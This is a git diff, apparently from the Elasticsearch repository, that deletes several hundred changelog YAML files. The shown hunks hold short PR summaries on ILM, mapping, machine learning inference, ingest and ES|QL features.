 docs/changelog/123150.yaml |  5 ---
 docs/changelog/123156.yaml |  5 ---
 docs/changelog/123187.yaml |  5 ---
 docs/changelog/123396.yaml |  5 ---
 docs/changelog/123460.yaml |  6 ---
 docs/changelog/123543.yaml |  6 ---
 docs/changelog/123588.yaml |  5 ---
 docs/changelog/123630.yaml |  6 ---
 docs/changelog/123712.yaml |  5 ---
 docs/changelog/123763.yaml |  5 ---
 docs/changelog/123852.yaml |  5 ---
 docs/changelog/124025.yaml |  5 ---
 docs/changelog/124050.yaml |  5 ---
 docs/changelog/124094.yaml |  5 ---
 docs/changelog/124177.yaml |  6 ---
 docs/changelog/124313.yaml |  5 ---
 docs/changelog/124394.yaml |  5 ---
 docs/changelog/124564.yaml |  5 ---
 docs/changelog/124574.yaml |  5 ---
 docs/changelog/124581.yaml |  5 ---
 docs/changelog/124594.yaml |  5 ---
 docs/changelog/124595.yaml |  5 ---
 docs/changelog/124610.yaml |  5 ---
 docs/changelog/124638.yaml |  6 ---
 docs/changelog/124676.yaml |  6 ---
 docs/changelog/124690.yaml |  5 ---
 docs/changelog/124708.yaml |  5 ---
 docs/changelog/124722.yaml |  6 ---
 docs/changelog/124737.yaml |  5 ---
 docs/changelog/124738.yaml |  5 ---
 docs/changelog/124823.yaml |  5 ---
 docs/changelog/124825.yaml |  5 ---
 docs/changelog/124832.yaml |  6 ---
 docs/changelog/124841.yaml |  5 ---
 docs/changelog/124898.yaml |  6 ---
 docs/changelog/124901.yaml |  5 ---
 docs/changelog/124913.yaml |  5 ---
 docs/changelog/124927.yaml |  5 ---
 docs/changelog/124929.yaml |  5 ---
 docs/changelog/124966.yaml |  5 ---
 docs/changelog/125054.yaml |  6 ---
 docs/changelog/125062.yaml |  5 ---
 docs/changelog/125117.yaml |  8 ----
 docs/changelog/125191.yaml |  5 ---
 docs/changelog/125204.yaml |  6 ---
 docs/changelog/125213.yaml |  5 ---
 docs/changelog/125214.yaml |  5 ---
 docs/changelog/125239.yaml |  6 ---
 docs/changelog/125244.yaml |  6 ---
 docs/changelog/125259.yaml |  5 ---
 docs/changelog/125357.yaml |  5 ---
 docs/changelog/125403.yaml |  5 ---
 docs/changelog/125452.yaml |  5 ---
 docs/changelog/125477.yaml |  6 ---
 docs/changelog/125479.yaml |  6 ---
 docs/changelog/125517.yaml |  5 ---
 docs/changelog/125520.yaml |  6 ---
 docs/changelog/125529.yaml |  5 ---
 docs/changelog/125562.yaml |  6 ---
 docs/changelog/125570.yaml |  5 ---
 docs/changelog/125599.yaml |  6 ---
 docs/changelog/125631.yaml |  5 ---
 docs/changelog/125652.yaml |  5 ---
 docs/changelog/125690.yaml |  5 ---
 docs/changelog/125699.yaml |  5 ---
 docs/changelog/125709.yaml |  5 ---
 docs/changelog/125739.yaml |  5 ---
 docs/changelog/125816.yaml |  5 ---
 docs/changelog/125832.yaml |  6 ---
 docs/changelog/125896.yaml |  5 ---
 docs/changelog/125930.yaml |  5 ---
 docs/changelog/126002.yaml |  5 ---
 docs/changelog/126008.yaml |  6 ---
 docs/changelog/126009.yaml |  6 ---
 docs/changelog/126035.yaml |  5 ---
 docs/changelog/126038.yaml |  5 ---
 docs/changelog/126051.yaml |  5 ---
 docs/changelog/126087.yaml |  5 ---
 docs/changelog/126091.yaml |  5 ---
 docs/changelog/126237.yaml |  5 ---
 docs/changelog/126264.yaml |  5 ---
 docs/changelog/126296.yaml |  5 ---
 docs/changelog/126314.yaml |  6 ---
 docs/changelog/126319.yaml |  5 ---
 docs/changelog/126372.yaml |  5 ---
 docs/changelog/126385.yaml |  6 ---
 docs/changelog/126397.yaml |  6 ---
 docs/changelog/126401.yaml |  5 ---
 docs/changelog/126409.yaml |  6 ---
 docs/changelog/126417.yaml |  5 ---
 docs/changelog/126452.yaml |  5 ---
 docs/changelog/126493.yaml |  6 ---
 docs/changelog/126529.yaml |  6 ---
 docs/changelog/126532.yaml |  6 ---
 docs/changelog/126537.yaml |  5 ---
 docs/changelog/126550.yaml |  6 ---
 docs/changelog/126562.yaml |  6 ---
 docs/changelog/126578.yaml |  5 ---
 docs/changelog/126581.yaml | 10 -----
 docs/changelog/126594.yaml |  5 ---
 docs/changelog/126598.yaml |  6 ---
 docs/changelog/126612.yaml |  5 ---
 docs/changelog/126629.yaml |  5 ---
 docs/changelog/126641.yaml |  5 ---
 docs/changelog/126644.yaml |  5 ---
 docs/changelog/126653.yaml |  5 ---
 docs/changelog/126687.yaml |  6 ---
 docs/changelog/126702.yaml |  5 ---
 docs/changelog/126704.yaml |  5 ---
 docs/changelog/126724.yaml |  5 ---
 docs/changelog/126751.yaml |  5 ---
 docs/changelog/126770.yaml |  6 ---
 docs/changelog/126786.yaml |  5 ---
 docs/changelog/126792.yaml |  5 ---
 docs/changelog/126803.yaml |  6 ---
 docs/changelog/126805.yaml |  5 ---
 docs/changelog/126840.yaml |  6 ---
 docs/changelog/126843.yaml | 89 --------------------------------------
 docs/changelog/126856.yaml |  5 ---
 docs/changelog/126866.yaml |  5 ---
 docs/changelog/126876.yaml |  5 ---
 docs/changelog/126935.yaml |  6 ---
 docs/changelog/126956.yaml |  5 ---
 docs/changelog/126973.yaml | 89 --------------------------------------
 docs/changelog/127006.yaml |  5 ---
 docs/changelog/127118.yaml |  5 ---
 docs/changelog/127134.yaml |  5 ---
 docs/changelog/127139.yaml |  5 ---
 docs/changelog/127148.yaml |  5 ---
 docs/changelog/127199.yaml |  6 ---
 docs/changelog/127201.yaml |  5 ---
 docs/changelog/127229.yaml |  6 ---
 docs/changelog/127250.yaml |  6 ---
 docs/changelog/127254.yaml |  5 ---
 docs/changelog/127267.yaml |  5 ---
 docs/changelog/127285.yaml |  5 ---
 docs/changelog/127299.yaml |  5 ---
 docs/changelog/127314.yaml |  5 ---
 docs/changelog/127321.yaml |  6 ---
 docs/changelog/127330.yaml |  5 ---
 docs/changelog/127343.yaml |  5 ---
 docs/changelog/127348.yaml |  5 ---
 docs/changelog/127351.yaml | 16 -------
 docs/changelog/127355.yaml |  5 ---
 docs/changelog/127371.yaml |  6 ---
 docs/changelog/127472.yaml |  6 ---
 docs/changelog/127522.yaml |  6 ---
 docs/changelog/127524.yaml |  6 ---
 docs/changelog/127549.yaml |  5 ---
 docs/changelog/127573.yaml |  5 ---
 docs/changelog/127582.yaml |  5 ---
 docs/changelog/127583.yaml |  6 ---
 docs/changelog/127628.yaml |  5 ---
 docs/changelog/127629.yaml |  5 ---
 docs/changelog/127636.yaml | 17 --------
 docs/changelog/127661.yaml |  5 ---
 docs/changelog/127664.yaml |  5 ---
 docs/changelog/127668.yaml |  6 ---
 docs/changelog/127731.yaml |  5 ---
 docs/changelog/127734.yaml |  5 ---
 docs/changelog/127767.yaml |  5 ---
 docs/changelog/127796.yaml |  6 ---
 docs/changelog/127817.yaml |  5 ---
 docs/changelog/127849.yaml |  5 ---
 docs/changelog/127910.yaml |  5 ---
 docs/changelog/127939.yaml |  5 ---
 docs/changelog/127966.yaml |  5 ---
 docs/changelog/127968.yaml |  6 ---
 docs/changelog/127988.yaml |  5 ---
 docs/changelog/128025.yaml |  6 ---
 docs/changelog/128063.yaml |  5 ---
 docs/changelog/128099.yaml |  5 ---
 docs/changelog/128105.yaml |  5 ---
 docs/changelog/128139.yaml |  5 ---
 docs/changelog/128163.yaml | 17 --------
 docs/changelog/128176.yaml |  5 ---
 docs/changelog/128213.yaml |  5 ---
 docs/changelog/128218.yaml |  5 ---
 docs/changelog/128241.yaml |  5 ---
 docs/changelog/128263.yaml |  5 ---
 docs/changelog/128273.yaml |  5 ---
 docs/changelog/128278.yaml |  5 ---
 docs/changelog/128291.yaml |  5 ---
 docs/changelog/128298.yaml |  6 ---
 docs/changelog/128314.yaml |  5 ---
 docs/changelog/128323.yaml |  5 ---
 docs/changelog/128361.yaml |  6 ---
 docs/changelog/128393.yaml |  6 ---
 docs/changelog/128396.yaml |  5 ---
 docs/changelog/128399.yaml |  5 ---
 docs/changelog/128405.yaml |  5 ---
 docs/changelog/128449.yaml |  5 ---
 docs/changelog/128464.yaml |  5 ---
 docs/changelog/128473.yaml |  5 ---
 docs/changelog/128504.yaml |  5 ---
 docs/changelog/128509.yaml |  5 ---
 docs/changelog/128519.yaml |  5 ---
 docs/changelog/128538.yaml |  5 ---
 docs/changelog/128584.yaml |  5 ---
 docs/changelog/128613.yaml |  5 ---
 docs/changelog/128615.yaml |  5 ---
 docs/changelog/128635.yaml |  6 ---
 docs/changelog/128653.yaml |  5 ---
 docs/changelog/128694.yaml |  5 ---
 docs/changelog/128735.yaml |  5 ---
 docs/changelog/128736.yaml |  5 ---
 docs/changelog/128737.yaml |  7 ---
 docs/changelog/128746.yaml |  5 ---
 docs/changelog/128750.yaml |  7 ---
 docs/changelog/128788.yaml |  6 ---
 docs/changelog/128798.yaml |  5 ---
 docs/changelog/128805.yaml |  5 ---
 docs/changelog/128848.yaml |  5 ---
 docs/changelog/128854.yaml | 11 -----
 docs/changelog/128858.yaml |  6 ---
 docs/changelog/128870.yaml |  5 ---
 docs/changelog/128895.yaml |  6 ---
 docs/changelog/128913.yml  |  5 ---
 docs/changelog/128914.yaml |  5 ---
 docs/changelog/128925.yaml |  5 ---
 docs/changelog/128948.yaml |  6 ---
 docs/changelog/128986.yaml |  6 ---
 docs/changelog/129074.yaml |  5 ---
 docs/changelog/129089.yaml |  5 ---
 docs/changelog/129122.yaml |  5 ---
 docs/changelog/129126.yaml |  6 ---
 docs/changelog/129128.yaml |  5 ---
 docs/changelog/129140.yaml |  5 ---
 docs/changelog/129150.yaml |  6 ---
 docs/changelog/129161.yaml |  5 ---
 docs/changelog/129164.yaml |  5 ---
 docs/changelog/129170.yaml |  5 ---
 docs/changelog/129181.yaml |  5 ---
 docs/changelog/129200.yaml |  5 ---
 docs/changelog/129245.yaml |  5 ---
 docs/changelog/129278.yaml |  5 ---
 docs/changelog/129282.yaml |  6 ---
 docs/changelog/129302.yaml |  6 ---
 docs/changelog/129326.yaml |  6 ---
 docs/changelog/129359.yaml |  5 ---
 docs/changelog/129367.yaml |  5 ---
 docs/changelog/129413.yaml |  5 ---
 docs/changelog/129440.yaml |  5 ---
 docs/changelog/129454.yaml |  5 ---
 docs/changelog/129455.yaml |  6 ---
 docs/changelog/129503.yaml |  6 ---
 docs/changelog/129507.yaml |  6 ---
 docs/changelog/129509.yaml |  6 ---
 docs/changelog/129546.yaml | 13 ------
 docs/changelog/129557.yaml |  5 ---
 docs/changelog/129606.yaml | 35 ---------------
 docs/changelog/129647.yaml |  5 ---
 docs/changelog/129657.yaml |  6 ---
 docs/changelog/129659.yaml |  5 ---
 docs/changelog/129738.yaml |  5 ---
 docs/changelog/129745.yaml |  6 ---
 docs/changelog/129884.yaml |  5 ---
 docs/changelog/129962.yaml |  5 ---
 docs/changelog/130032.yaml | 12 -----
 docs/changelog/130158.yaml |  5 ---
 docs/changelog/130221.yaml |  5 ---
 docs/changelog/130308.yaml |  5 ---
 docs/changelog/130344.yaml |  5 ---
 docs/changelog/130421.yaml |  5 ---
 docs/changelog/130427.yaml | 17 --------
 docs/changelog/130638.yaml |  7 ---
 docs/changelog/130849.yaml |  6 ---
 docs/changelog/130914.yaml |  6 ---
 docs/changelog/131015.yaml |  5 ---
 docs/changelog/131050.yaml |  6 ---
 docs/changelog/131236.yaml |  6 ---
 docs/changelog/131391.yaml |  6 ---
 docs/changelog/131426.yaml |  6 ---
 docs/changelog/131525.yaml |  6 ---
 docs/changelog/131541.yaml |  5 ---
 docs/changelog/131630.yaml |  5 ---
 docs/changelog/131677.yaml |  5 ---
 docs/changelog/131711.yaml |  5 ---
 342 files changed, 2131 deletions(-)
 delete mode 100644 docs/changelog/106953.yaml
 delete mode 100644 docs/changelog/113757.yaml
 delete mode 100644 docs/changelog/117642.yaml
 delete mode 100644 docs/changelog/119546.yaml
 delete mode 100644 docs/changelog/119967.yaml
 delete mode 100644 docs/changelog/119995.yaml
 delete mode 100644 docs/changelog/120302.yaml
 delete mode 100644 docs/changelog/120363.yaml
 delete mode 100644 docs/changelog/120488.yaml
 delete mode 100644 docs/changelog/120751.yaml
 delete mode 100644 docs/changelog/120774.yaml
 delete mode 100644 docs/changelog/120957.yaml
 delete mode 100644 docs/changelog/120998.yaml
 delete mode 100644 docs/changelog/121041.yaml
 delete mode 100644 docs/changelog/121106.yaml
 delete mode 100644 docs/changelog/121240.yaml
 delete mode 100644 docs/changelog/121256.yaml
 delete mode 100644 docs/changelog/121260.yaml
 delete mode 100644 docs/changelog/121324.yaml
 delete mode 100644 docs/changelog/121327.yaml
 delete mode 100644 docs/changelog/121370.yaml
 delete mode 100644 docs/changelog/121548.yaml
 delete mode 100644 docs/changelog/121784.yaml
 delete mode 100644 docs/changelog/121805.yaml
 delete mode 100644 docs/changelog/121827.yaml
 delete mode 100644 docs/changelog/121885.yaml
 delete mode 100644 docs/changelog/121920.yaml
 delete mode 100644 docs/changelog/121942.yaml
 delete mode 100644 docs/changelog/121948.yaml
 delete mode 100644 docs/changelog/122062.yaml
 delete mode 100644 docs/changelog/122066.yaml
 delete mode 100644 docs/changelog/122134.yaml
 delete mode 100644 docs/changelog/122218.yaml
 delete mode 100644 docs/changelog/122224.yaml
 delete mode 100644 docs/changelog/122272.yaml
 delete mode 100644 docs/changelog/122280.yaml
 delete mode 100644 docs/changelog/122365.yaml
 delete mode 100644 docs/changelog/122381.yaml
 delete mode 100644 docs/changelog/122390.yaml
 delete mode 100644 docs/changelog/122458.yaml
 delete mode 100644 docs/changelog/122459.yaml
 delete mode 100644 docs/changelog/122486.yaml
 delete mode 100644 docs/changelog/122497.yaml
 delete mode 100644 docs/changelog/122586.yaml
 delete mode 100644 docs/changelog/122615.yaml
 delete mode 100644 docs/changelog/122637.yaml
 delete mode 100644 docs/changelog/122638.yaml
 delete mode 100644 docs/changelog/122660.yaml
 delete mode 100644 docs/changelog/122708.yaml
 delete mode 100644 docs/changelog/122821.yaml
 delete mode 100644 docs/changelog/122823.yaml
 delete mode 100644 docs/changelog/122852.yaml
 delete mode 100644 docs/changelog/122857.yaml
 delete mode 100644 docs/changelog/122860.yaml
 delete mode 100644 docs/changelog/122885.yaml
 delete mode 100644 docs/changelog/122890.yaml
 delete mode 100644 docs/changelog/122891.yaml
 delete mode 100644 docs/changelog/122921.yaml
 delete mode 100644 docs/changelog/122933.yaml
 delete mode 100644 docs/changelog/122991.yaml
 delete mode 100644 docs/changelog/122999.yaml
 delete mode 100644 docs/changelog/123044.yaml
 delete mode 100644 docs/changelog/123074.yaml
 delete mode 100644 docs/changelog/123085.yaml
 delete mode 100644 docs/changelog/123150.yaml
 delete mode 100644 docs/changelog/123156.yaml
 delete mode 100644 docs/changelog/123187.yaml
 delete mode 100644 docs/changelog/123396.yaml
 delete mode 100644 docs/changelog/123460.yaml
 delete mode 100644 docs/changelog/123543.yaml
 delete mode 100644 docs/changelog/123588.yaml
 delete mode 100644 docs/changelog/123630.yaml
 delete mode 100644 docs/changelog/123712.yaml
 delete mode 100644 docs/changelog/123763.yaml
 delete mode 100644 docs/changelog/123852.yaml
 delete mode 100644 docs/changelog/124025.yaml
 delete mode 100644 docs/changelog/124050.yaml
 delete mode 100644 docs/changelog/124094.yaml
 delete mode 100644 docs/changelog/124177.yaml
 delete mode 100644 docs/changelog/124313.yaml
 delete mode 100644 docs/changelog/124394.yaml
 delete mode 100644 docs/changelog/124564.yaml
 delete mode 100644 docs/changelog/124574.yaml
 delete mode 100644 docs/changelog/124581.yaml
 delete mode 100644 docs/changelog/124594.yaml
 delete mode 100644 docs/changelog/124595.yaml
 delete mode 100644 docs/changelog/124610.yaml
 delete mode 100644 docs/changelog/124638.yaml
 delete mode 100644 docs/changelog/124676.yaml
 delete mode 100644 docs/changelog/124690.yaml
 delete mode 100644 docs/changelog/124708.yaml
 delete mode 100644 docs/changelog/124722.yaml
 delete mode 100644 docs/changelog/124737.yaml
 delete mode 100644 docs/changelog/124738.yaml
 delete mode 100644 docs/changelog/124823.yaml
 delete mode 100644 docs/changelog/124825.yaml
 delete mode 100644 docs/changelog/124832.yaml
 delete mode 100644 docs/changelog/124841.yaml
 delete mode 100644 docs/changelog/124898.yaml
 delete mode 100644 docs/changelog/124901.yaml
 delete mode 100644 docs/changelog/124913.yaml
 delete mode 100644 docs/changelog/124927.yaml
 delete mode 100644 docs/changelog/124929.yaml
 delete mode 100644 docs/changelog/124966.yaml
 delete mode 100644 docs/changelog/125054.yaml
 delete mode 100644 docs/changelog/125062.yaml
 delete mode 100644 docs/changelog/125117.yaml
 delete mode 100644 docs/changelog/125191.yaml
 delete mode 100644 docs/changelog/125204.yaml
 delete mode 100644 docs/changelog/125213.yaml
 delete mode 100644 docs/changelog/125214.yaml
 delete mode 100644 docs/changelog/125239.yaml
 delete mode 100644 docs/changelog/125244.yaml
 delete mode 100644 docs/changelog/125259.yaml
 delete mode 100644 docs/changelog/125357.yaml
 delete mode 100644 docs/changelog/125403.yaml
 delete mode 100644 docs/changelog/125452.yaml
 delete mode 100644 docs/changelog/125477.yaml
 delete mode 100644 docs/changelog/125479.yaml
 delete mode 100644 docs/changelog/125517.yaml
 delete mode 100644 docs/changelog/125520.yaml
 delete mode 100644 docs/changelog/125529.yaml
 delete mode 100644 docs/changelog/125562.yaml
 delete mode 100644 docs/changelog/125570.yaml
 delete mode 100644 docs/changelog/125599.yaml
 delete mode 100644 docs/changelog/125631.yaml
 delete mode 100644 docs/changelog/125652.yaml
 delete mode 100644 docs/changelog/125690.yaml
 delete mode 100644 docs/changelog/125699.yaml
 delete mode 100644 docs/changelog/125709.yaml
 delete mode 100644 docs/changelog/125739.yaml
 delete mode 100644 docs/changelog/125816.yaml
 delete mode 100644 docs/changelog/125832.yaml
 delete mode 100644 docs/changelog/125896.yaml
 delete mode 100644 docs/changelog/125930.yaml
 delete mode 100644 docs/changelog/126002.yaml
 delete mode 100644 docs/changelog/126008.yaml
 delete mode 100644 docs/changelog/126009.yaml
 delete mode 100644 docs/changelog/126035.yaml
 delete mode 100644 docs/changelog/126038.yaml
 delete mode 100644 docs/changelog/126051.yaml
 delete mode 100644 docs/changelog/126087.yaml
 delete mode 100644 docs/changelog/126091.yaml
 delete mode 100644 docs/changelog/126237.yaml
 delete mode 100644 docs/changelog/126264.yaml
 delete mode 100644 docs/changelog/126296.yaml
 delete mode 100644 docs/changelog/126314.yaml
 delete mode 100644 docs/changelog/126319.yaml
 delete mode 100644 docs/changelog/126372.yaml
 delete mode 100644 docs/changelog/126385.yaml
 delete mode 100644 docs/changelog/126397.yaml
 delete mode 100644 docs/changelog/126401.yaml
 delete mode 100644 docs/changelog/126409.yaml
 delete mode 100644 docs/changelog/126417.yaml
 delete mode 100644 docs/changelog/126452.yaml
 delete mode 100644 docs/changelog/126493.yaml
 delete mode 100644 docs/changelog/126529.yaml
 delete mode 100644 docs/changelog/126532.yaml
 delete mode 100644 docs/changelog/126537.yaml
 delete mode 100644 docs/changelog/126550.yaml
 delete mode 100644 docs/changelog/126562.yaml
 delete mode 100644 docs/changelog/126578.yaml
 delete mode 100644 docs/changelog/126581.yaml
 delete mode 100644 docs/changelog/126594.yaml
 delete mode 100644 docs/changelog/126598.yaml
 delete mode 100644 docs/changelog/126612.yaml
 delete mode 100644 docs/changelog/126629.yaml
 delete mode 100644 docs/changelog/126641.yaml
 delete mode 100644 docs/changelog/126644.yaml
 delete mode 100644 docs/changelog/126653.yaml
 delete mode 100644 docs/changelog/126687.yaml
 delete mode 100644 docs/changelog/126702.yaml
 delete mode 100644 docs/changelog/126704.yaml
 delete mode 100644 docs/changelog/126724.yaml
 delete mode 100644 docs/changelog/126751.yaml
 delete mode 100644 docs/changelog/126770.yaml
 delete mode 100644 docs/changelog/126786.yaml
 delete mode 100644 docs/changelog/126792.yaml
 delete mode 100644 docs/changelog/126803.yaml
 delete mode 100644 docs/changelog/126805.yaml
 delete mode 100644 docs/changelog/126840.yaml
 delete mode 100644 docs/changelog/126843.yaml
 delete mode 100644 docs/changelog/126856.yaml
 delete mode 100644 docs/changelog/126866.yaml
 delete mode 100644 docs/changelog/126876.yaml
 delete mode 100644 docs/changelog/126935.yaml
 delete mode 100644 docs/changelog/126956.yaml
 delete mode 100644 docs/changelog/126973.yaml
 delete mode 100644 docs/changelog/127006.yaml
 delete mode 100644 docs/changelog/127118.yaml
 delete mode 100644 docs/changelog/127134.yaml
 delete mode 100644 docs/changelog/127139.yaml
 delete mode 100644 docs/changelog/127148.yaml
 delete mode 100644 docs/changelog/127199.yaml
 delete mode 100644 docs/changelog/127201.yaml
 delete mode 100644 docs/changelog/127229.yaml
 delete mode 100644 docs/changelog/127250.yaml
 delete mode 100644 docs/changelog/127254.yaml
 delete mode 100644 docs/changelog/127267.yaml
 delete mode 100644 docs/changelog/127285.yaml
 delete mode 100644 docs/changelog/127299.yaml
 delete mode 100644 docs/changelog/127314.yaml
 delete mode 100644 docs/changelog/127321.yaml
 delete mode 100644 docs/changelog/127330.yaml
 delete mode 100644 docs/changelog/127343.yaml
 delete mode 100644 docs/changelog/127348.yaml
 delete mode 100644 docs/changelog/127351.yaml
 delete mode 100644 docs/changelog/127355.yaml
 delete mode 100644 docs/changelog/127371.yaml
 delete mode 100644 docs/changelog/127472.yaml
 delete mode 100644 docs/changelog/127522.yaml
 delete mode 100644 docs/changelog/127524.yaml
 delete mode 100644 docs/changelog/127549.yaml
 delete mode 100644 docs/changelog/127573.yaml
 delete mode 100644 docs/changelog/127582.yaml
 delete mode 100644 docs/changelog/127583.yaml
 delete mode 100644 docs/changelog/127628.yaml
 delete mode 100644 docs/changelog/127629.yaml
 delete mode 100644 docs/changelog/127636.yaml
 delete mode 100644 docs/changelog/127661.yaml
 delete mode 100644 docs/changelog/127664.yaml
 delete mode 100644 docs/changelog/127668.yaml
 delete mode 100644 docs/changelog/127731.yaml
 delete mode 100644 docs/changelog/127734.yaml
 delete mode 100644 docs/changelog/127767.yaml
 delete mode 100644 docs/changelog/127796.yaml
 delete mode 100644 docs/changelog/127817.yaml
 delete mode 100644 docs/changelog/127849.yaml
 delete mode 100644 docs/changelog/127910.yaml
 delete mode 100644 docs/changelog/127939.yaml
 delete mode 100644 docs/changelog/127966.yaml
 delete mode 100644 docs/changelog/127968.yaml
 delete mode 100644 docs/changelog/127988.yaml
 delete mode 100644 docs/changelog/128025.yaml
 delete mode 100644 docs/changelog/128063.yaml
 delete mode 100644 docs/changelog/128099.yaml
 delete mode 100644 docs/changelog/128105.yaml
 delete mode 100644 docs/changelog/128139.yaml
 delete mode 100644 docs/changelog/128163.yaml
 delete mode 100644 docs/changelog/128176.yaml
 delete mode 100644 docs/changelog/128213.yaml
 delete mode 100644 docs/changelog/128218.yaml
 delete mode 100644 docs/changelog/128241.yaml
 delete mode 100644 docs/changelog/128263.yaml
 delete mode 100644 docs/changelog/128273.yaml
 delete mode 100644 docs/changelog/128278.yaml
 delete mode 100644 docs/changelog/128291.yaml
 delete mode 100644 docs/changelog/128298.yaml
 delete mode 100644 docs/changelog/128314.yaml
 delete mode 100644 docs/changelog/128323.yaml
 delete mode 100644 docs/changelog/128361.yaml
 delete mode 100644 docs/changelog/128393.yaml
 delete mode 100644 docs/changelog/128396.yaml
 delete mode 100644 docs/changelog/128399.yaml
 delete mode 100644 docs/changelog/128405.yaml
 delete mode 100644 docs/changelog/128449.yaml
 delete mode 100644 docs/changelog/128464.yaml
 delete mode 100644 docs/changelog/128473.yaml
 delete mode 100644 docs/changelog/128504.yaml
 delete mode 100644 docs/changelog/128509.yaml
 delete mode 100644 docs/changelog/128519.yaml
 delete mode 100644 docs/changelog/128538.yaml
 delete mode 100644 docs/changelog/128584.yaml
 delete mode 100644 docs/changelog/128613.yaml
 delete mode 100644 docs/changelog/128615.yaml
 delete mode 100644 docs/changelog/128635.yaml
 delete mode 100644 docs/changelog/128653.yaml
 delete mode 100644 docs/changelog/128694.yaml
 delete mode 100644 docs/changelog/128735.yaml
 delete mode 100644 docs/changelog/128736.yaml
 delete mode 100644 docs/changelog/128737.yaml
 delete mode 100644 docs/changelog/128746.yaml
 delete mode 100644 docs/changelog/128750.yaml
 delete mode 100644 docs/changelog/128788.yaml
 delete mode 100644 docs/changelog/128798.yaml
 delete mode 100644 docs/changelog/128805.yaml
 delete mode 100644 docs/changelog/128848.yaml
 delete mode 100644 docs/changelog/128854.yaml
 delete mode 100644 docs/changelog/128858.yaml
 delete mode 100644 docs/changelog/128870.yaml
 delete mode 100644 docs/changelog/128895.yaml
 delete mode 100644 docs/changelog/128913.yml
 delete mode 100644 docs/changelog/128914.yaml
 delete mode 100644 docs/changelog/128925.yaml
 delete mode 100644 docs/changelog/128948.yaml
 delete mode 100644 docs/changelog/128986.yaml
 delete mode 100644 docs/changelog/129074.yaml
 delete mode 100644 docs/changelog/129089.yaml
 delete mode 100644 docs/changelog/129122.yaml
 delete mode 100644 docs/changelog/129126.yaml
 delete mode 100644 docs/changelog/129128.yaml
 delete mode 100644 docs/changelog/129140.yaml
 delete mode 100644 docs/changelog/129150.yaml
 delete mode 100644 docs/changelog/129161.yaml
 delete mode 100644 docs/changelog/129164.yaml
 delete mode 100644 docs/changelog/129170.yaml
 delete mode 100644 docs/changelog/129181.yaml
 delete mode 100644 docs/changelog/129200.yaml
 delete mode 100644 docs/changelog/129245.yaml
 delete mode 100644 docs/changelog/129278.yaml
 delete mode 100644 docs/changelog/129282.yaml
 delete mode 100644 docs/changelog/129302.yaml
 delete mode 100644 docs/changelog/129326.yaml
 delete mode 100644 docs/changelog/129359.yaml
 delete mode 100644 docs/changelog/129367.yaml
 delete mode 100644 docs/changelog/129413.yaml
 delete mode 100644 docs/changelog/129440.yaml
 delete mode 100644 docs/changelog/129454.yaml
 delete mode 100644 docs/changelog/129455.yaml
 delete mode 100644 docs/changelog/129503.yaml
 delete mode 100644 docs/changelog/129507.yaml
 delete mode 100644 docs/changelog/129509.yaml
 delete mode 100644 docs/changelog/129546.yaml
 delete mode 100644 docs/changelog/129557.yaml
 delete mode 100644 docs/changelog/129606.yaml
 delete mode 100644 docs/changelog/129647.yaml
 delete mode 100644 docs/changelog/129657.yaml
 delete mode 100644 docs/changelog/129659.yaml
 delete mode 100644 docs/changelog/129738.yaml
 delete mode 100644 docs/changelog/129745.yaml
 delete mode 100644 docs/changelog/129884.yaml
 delete mode 100644 docs/changelog/129962.yaml
 delete mode 100644 docs/changelog/130032.yaml
 delete mode 100644 docs/changelog/130158.yaml
 delete mode 100644 docs/changelog/130221.yaml
 delete mode 100644 docs/changelog/130308.yaml
 delete mode 100644 docs/changelog/130344.yaml
 delete mode 100644 docs/changelog/130421.yaml
 delete mode 100644 docs/changelog/130427.yaml
 delete mode 100644 docs/changelog/130638.yaml
 delete mode 100644 docs/changelog/130849.yaml
 delete mode 100644 docs/changelog/130914.yaml
 delete mode 100644 docs/changelog/131015.yaml
 delete mode 100644 docs/changelog/131050.yaml
 delete mode 100644 docs/changelog/131236.yaml
 delete mode 100644 docs/changelog/131391.yaml
 delete mode 100644 docs/changelog/131426.yaml
 delete mode 100644 docs/changelog/131525.yaml
 delete mode 100644 docs/changelog/131541.yaml
 delete mode 100644 docs/changelog/131630.yaml
 delete mode 100644 docs/changelog/131677.yaml
 delete mode 100644 docs/changelog/131711.yaml

diff --git a/docs/changelog/106953.yaml b/docs/changelog/106953.yaml
deleted file mode 100644
index 6993b1960a401..0000000000000
--- a/docs/changelog/106953.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 106953
-summary: Optimize usage calculation in ILM policies retrieval API
-area: ILM+SLM
-type: enhancement
-issues:
- - 105773
diff --git a/docs/changelog/113757.yaml b/docs/changelog/113757.yaml
deleted file mode 100644
index 30e173d80b2a7..0000000000000
--- a/docs/changelog/113757.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 113757
-summary: Store arrays offsets for keyword fields natively with synthetic source instead of falling back to ignored source.
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/117642.yaml b/docs/changelog/117642.yaml
deleted file mode 100644
index dbddbbf5e64eb..0000000000000
--- a/docs/changelog/117642.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 117642
-summary: Adding endpoint creation validation to `ElasticInferenceService`
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/119546.yaml b/docs/changelog/119546.yaml
deleted file mode 100644
index 017bbb845c0a6..0000000000000
--- a/docs/changelog/119546.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 119546
-summary: Introduce `FallbackSyntheticSourceBlockLoader` and apply it to keyword fields
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/119967.yaml b/docs/changelog/119967.yaml
deleted file mode 100644
index be5543be20238..0000000000000
--- a/docs/changelog/119967.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 119967
-summary: Add `index_options` to `semantic_text` field mappings
-area: Mapping
-type: enhancement
-issues: [ ]
diff --git a/docs/changelog/119995.yaml b/docs/changelog/119995.yaml
deleted file mode 100644
index e9ee8bc5b8458..0000000000000
--- a/docs/changelog/119995.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 119995
-summary: "apm-data: Use representative count as event.success_count if available"
-area: Ingest Node
-type: bug
-issues: []
diff --git a/docs/changelog/120302.yaml b/docs/changelog/120302.yaml
deleted file mode 100644
index 29202b4858f80..0000000000000
--- a/docs/changelog/120302.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 120302
-summary: "ESQL: Enhanced `DATE_TRUNC` with arbitrary intervals"
-area: ES|QL
-type: enhancement
-issues:
-  - 120094
diff --git a/docs/changelog/120363.yaml b/docs/changelog/120363.yaml
deleted file mode 100644
index 65e74024bbbbb..0000000000000
--- a/docs/changelog/120363.yaml
